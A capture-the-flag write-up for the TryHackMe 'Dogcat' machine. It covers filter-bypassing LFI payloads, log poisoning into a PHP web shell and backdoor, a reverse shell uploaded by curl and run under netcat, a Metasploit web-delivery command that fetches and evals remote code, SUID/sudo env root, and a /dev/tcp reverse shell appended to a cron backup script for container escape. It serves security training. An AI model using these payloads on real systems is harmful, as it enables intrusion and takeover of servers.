TryHackMe | Dogcat
Writeup of a medium-rated Linux Machine from TryHackMe
Enumeration
Scanning
As always, let’s start the enumeration process by scanning the target machine with Nmap
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ nmap -sC -sV -A -T4 -p- 10.10.3.151
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-25 15:45 EDT
Nmap scan report for 10.10.3.151
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2431192ab1971a044e2c36ac840a7587 (RSA)
| 256 213d461893aaf9e7c9b54c0f160b71e1 (ECDSA)
|_ 256 c1fb7d732b574a8bdcd76f49bb3bd020 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: dogcat
|_http-server-header: Apache/2.4.38 (Debian)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%), Linux 3.7 - 3.10 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 183.82 ms 10.8.0.1
2 177.99 ms 10.10.3.151
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.35 seconds
The target machine has 2 open ports:
- An SSH server
OpenSSH 7.6p1
running on port 22 - An HTTP server
Apache httpd 2.4.38
running on port 80
Service Enumeration
Enumerating dogcat.thm
Let’s assign a domain name, such as dogcat.thm
to the target machine IP and add it to /etc/hosts
, in order to simplify the enumeration process.
1
$ echo '10.10.3.151 dogcat.thm' >> /etc/hosts
Navigating to http://dogcat.thm, you will be presented with the following page, where you have two options to choose from: dog
and cat
Clicking on one of the options (for example A dog
) leads to http://dogcat.thm/?view=dog
Exploitation
Local File Inclusion
Testing Directory Traversal:
The first thing that comes to mind when you see this kind of URL scheme is to look for a directory traversal
vulnerability. Trying to read the classic /etc/passwd
via directory traversal does not lead anywhere. In fact, there is some kind of filter in the back-end, which filters any value that does not have the word 'cat'
or 'dog'
. In other words, as long as the value included in the view
parameter does not contain 'cat'
or 'dog'
, the backend php script will always return the error message: Sorry, only dogs or cats are allowed.
If we were to inject a payload such as ../../../etc/passwd%00cat
, it would cause the backend php script to return an unhandled error message like the one below:
Another important thing to mention is that the backend PHP script append the extension .php
to any value injected in the view
parameter. For example, if we were to inject cat.php
, we would get the following error message:
Based on this analysis, I would assume that the backend PHP script might look to something like the following:
1
2
3
4
5
6
7
8
9
$file = $_GET['view'];
// Input validation
if(!preg_match("/\b(cat|dog)\b/i", $file)){
echo "Sorry, only dogs or cats are allowed.";
exit;
} else {
$file = $file . '.php'; // Append '.php' to the $file variable
include($file);
}
- This PHP script takes in a user input
view
from the URL query string using$_GET
and then validate the input usingpreg_match()
to ensure it contains the stringcat
ordog
. If the input does not contain either of these strings, it will output the error message"Sorry, only dogs or cats are allowed."
and exit the script. Otherwise, the code will append the extension.php
to the $file variable and then include the file specified by the user usinginclude()
.
Reading index.php source code:
One way to get the source code index.php
is using convert.base64-encode
filter with the PHP wrapper php://filter
, which fetches the content of the script and then prints out the base64 version of it. Unfortunately, we cannot simply inject the view
parameter with something like:
1
php://filter/convert.base64-encode/resource=/var/www/html/index.php
because our payload does not have the strings dog
or cat
as a substring. Hence the error message:
In order to bypass this check, we can inject the following payload, which does contain the string 'cat'
, hence bypasses the check.
1
php://filter/convert.base64-encode/resource=/var/www/html/cat.php../../../../../var/www/html/index
In the backend, the include
statement would attempt to include the file located at the path /var/www/html/cat.php../../../../var/www/html/index.php
, and since ../
in a file path is used to move up one directory level, ../../../../
means the include
statement would attempt to go up 4 levels from /var/www/html/cat.php
, which will lead to the root /
directory and eventually including the source /var/www/html/index
+ the appended extension .php
- Let’s base64 decode the response:
1
$ echo -n <response> | base64 --decode
- Well, it appears that our guessing attempt was not quite accurate 😅
In this PHP script, the check is made by the containsStr()
function, which takes in two arguments - a string, represented by the value passed to the view
parameter, and a substring (‘cat’ or ‘dog’), and returns true
if the substring is found in the string and false
otherwise. There is also an optional ext
parameter, which has a default value of .php
, and is appended to the value passed to the view
parameter.
Reading /etc/passwd:
To retrieve the content of /etc/passwd
file, we can use the php://filter
wrapper, just like we did to retrieve the source code, using the following payload:
1
php://filter/convert.base64-encode/resource=/var/www/html/cat.php../../../../etc/passwd&ext=
- 📍 Take note of the
ext
parameter, which has no assigned value. This is done intentionally to prevent the default.php
extension from being added to the/etc/passwd
string.
⚠️ It should be noted that due to the PHP version being used (
php7.4.3
>php5.3
), the conventional technique of using%00
to bypass the appended extension cannot be employed in this scenario.
Alternatively, we can use the below payload to retrieve the content in plain text and avoid the hassle of having to base64 decode the response.
1
/?view=/var/www/html/cat.php../../../../../etc/passwd&ext=
Automating the exploitation:
To simplify the process, I have written a Python script that automates the exploitation of this LFI vulnerability. By providing the full file path of the desired file, the script will handle the entire retrieval process.
Web shell via Log Poisoning
Log Poisoning:
Log poisoning involves injecting PHP code into log files so that when they are loaded and executed, the PHP code is executed as well. For instance, the access log file /var/log/apache2/acces.log
records each visit to the site with the URL visited and the user-agent string of the browser. One simple way to perform log poisoning is by modifying the User-Agent
header to include PHP code and then including the log file with our LFI
.
Reading /var/log/apache2/access.log:
Let’s retrieve the content of the access log file, using our Python script
POC:
Now that we can read the access log file, let’s try to modify the User-Agent string to include the following PHP code, which will output some information about the current PHP configuration
1
<?php phpinfo(); ?>
To do so, we can send the request using curl
with the -A
option to set the User-Agent
header:
1
$ curl -A '<?php phpinfo(); ?>' http://dogcat.thm
In the browser, let’s get the content of /var/log/apache2/access.log
, by visiting
Web shell:
Using Burp
, Let’s inject the User-Agent
header, with the following:
1
[Output]: <?php system($_GET['cmd']); ?>
📍 Adding a marker, such as
"[output]"
, in your web shell is recommended to make it easier to locate your output in the log file as it grows. This way, you can quickly find your output withCtrl+F
even as the log file becomes larger.
By visiting id
in the logs prepended by the marker [Output]:
Backdooring the web shell:
To upgrade our basic web shell, we can stage a backdoor, which is essentially a PHP script that will contain the below PHP code, and then we can use this backdoor to get remote code execution on the webserver.
1
<?php echo '[Output]: '; system($_GET['cmd']); ?>
To do so, we can use our web shell to execute the following command:
1
echo '<?php echo "[output]: ";system($_GET["cmd"]); ?>' > backdoor.php
Then, we can execute arbitrary commands on the server via our backdoor, by accessing the URL http://dogcat.thm/backdoor.php?cmd=whoami
- Nice and Clean 👌
Initial Access
Shell as www-data |Container|
via upload of php-reverse-shell.php:
After having remote code execution on the server, one way to get a shell as www-data
is by uploading php-reverse-shell.php in the web root /var/www/html
and then run it by accessing http://dogcat.thm/php-reverse-shell.php
. The script will open an outbound TCP connection from the webserver to a host and port of your choice. To do so, let’s download the PHP script and extract the content of the archive:
1
2
$ wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
$ tar xvf php-reverse-shell-1.0.tar.gz
Now cd into php-reverse-shell-1.0
directory and then open php-reverse-shell.php
file in a text editor. After opening the file, you need to change the values of the $ip
and $port
variables. To do this, replace the default values with your tun0
IP address and a port number of your choosing, respectively, as shown below.
Now it’s time to initiate a python webserver that will host the PHP script php-reverse-shell.php
and upload it into the web root /var/www/html
:
1
2
$ python3 -m http.server 80
$ curl 'http://dogcat.thm/backdoor.php?cmd=curl%20http://<Tun0_IP>/php-reverse-shell.php%20-o%20php-reverse-shell.php'
Finally, start a TCP listener on the same port you specified in the script:
1
$ nc -nlvp 9999
And then run the script php-reverse-shell.php
by simply browsing to http://dogcat.php/php-reverse-shell.php
1
$ curl 'http://dogcat.thm/php-reverse-shell.php'
If everything went well, you should have received a shell on your netcat listener:
- Unfortunately, the server does not have
Python
installed, thus preventing us from transforming our shell into a more stablePTY
shell.
via Metasploit's web delivery:
The other way to get a more stabilized shell is via Metasploit’s Web Delivery Script, which is used to generate payloads that can be delivered to a target system through a web page or any other way where we can have remote code execution.
First of all, let’s launch the Metasploit console and use the web delivery module:
1
2
$ msfconsole -q
msf6 > use exploit/multi/script/web_delivery
Next, we need to set the language for generating the payload that will be understood by the target, which is in our case, php
:
1
msf6 exploit(multi/script/web_delivery) > set target 1
Then, we set the payload
, SRVHOST
, SRVPORT
, LHOST
and run the exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
msf6 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set SRVHOST <tun0_IP>
msf6 exploit(multi/script/web_delivery) > set SRVPORT 80
msf6 exploit(multi/script/web_delivery) > set LHOST <tun0_IP>
msf6 exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.8.16.233:4444
[*] Using URL: http://10.8.16.233/DTvVzG5IyLN
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://<tun0_IP>/DTvVzG5IyLN', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"
Finally, we run the given command on the victim using our backdoor web shell, by browsing to:
1
http://dogcat.thm/backdoor.php?cmd=<Web-delivery_command>
If all went well, you should be able to interact with a Meterpreter session, by typing the command:
1
msf6 exploit(multi/script/web_delivery) > sessions -i <SESSION_ID>
Flags:
- 🚩 Flag 1:
/var/www/html/flag.php
- 🚩 Flag 2:
/var/www/flag2_QMW7JvaY2LvK.txt
Privilege Escalation
Shell as root |Container|:
Method 1: Finding SUID executables:
By using the following command, we can enumerate all binaries having SUID permissions:
1
find / -type f -perm -04000 -ls 2>/dev/null
Exploitation:
As you can see, the binary /usr/bin/env
has the suid
bit set, which means we can run any env
as www-data
(our current user), with root
privileges. Referring to GTFOBins, shows that by just running the following command, we should get a root shell:
1
$ /usr/bin/env /bin/sh -p
Method 2: sudo -l:
By running the following command, we can see what binaries and executables can our current user www-data
run with root privileges:
1
$ sudo -l
Exploitation:
As you can see, www-data
can run /usr/bin/env
as root, and according to GTFOBins, we can run the following command to get a root shell:
1
$ sudo /usr/bin/env /bin/sh
🚩 Flag 3:
Shell as root (Host-dogcat)
There are some indications that give away the fact that we are inside a docker container and not inside the actual machine:
- The hostname is a random string
- There is a
.dockerenv
file in the system root/
- Common binaries like
ifconfig
,ip
,python3
are missing.
With that said, we need to break out of this docker container.
Docker Breakout:
There is a backup script in /opt/backups
which creates a tar archive file names backup.tar
in the directory /root/container/backup
that contains all the files and directories in the directory /root/container
1
2
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
Additionally, this backup script is executed every minute, as the timestamp of the backup.tar file is modified every minute:
Since we have write access on this backup script, we can insert backdoor that activates a reverse shell script and gain root-level access to the host machine running the container.
1
$ echo 'bash -i >& /dev/tcp/<tun0_IP>/<PORT> 0>&1' >> backup.sh
After 1 minute, you should receive a shell on your netcat listener: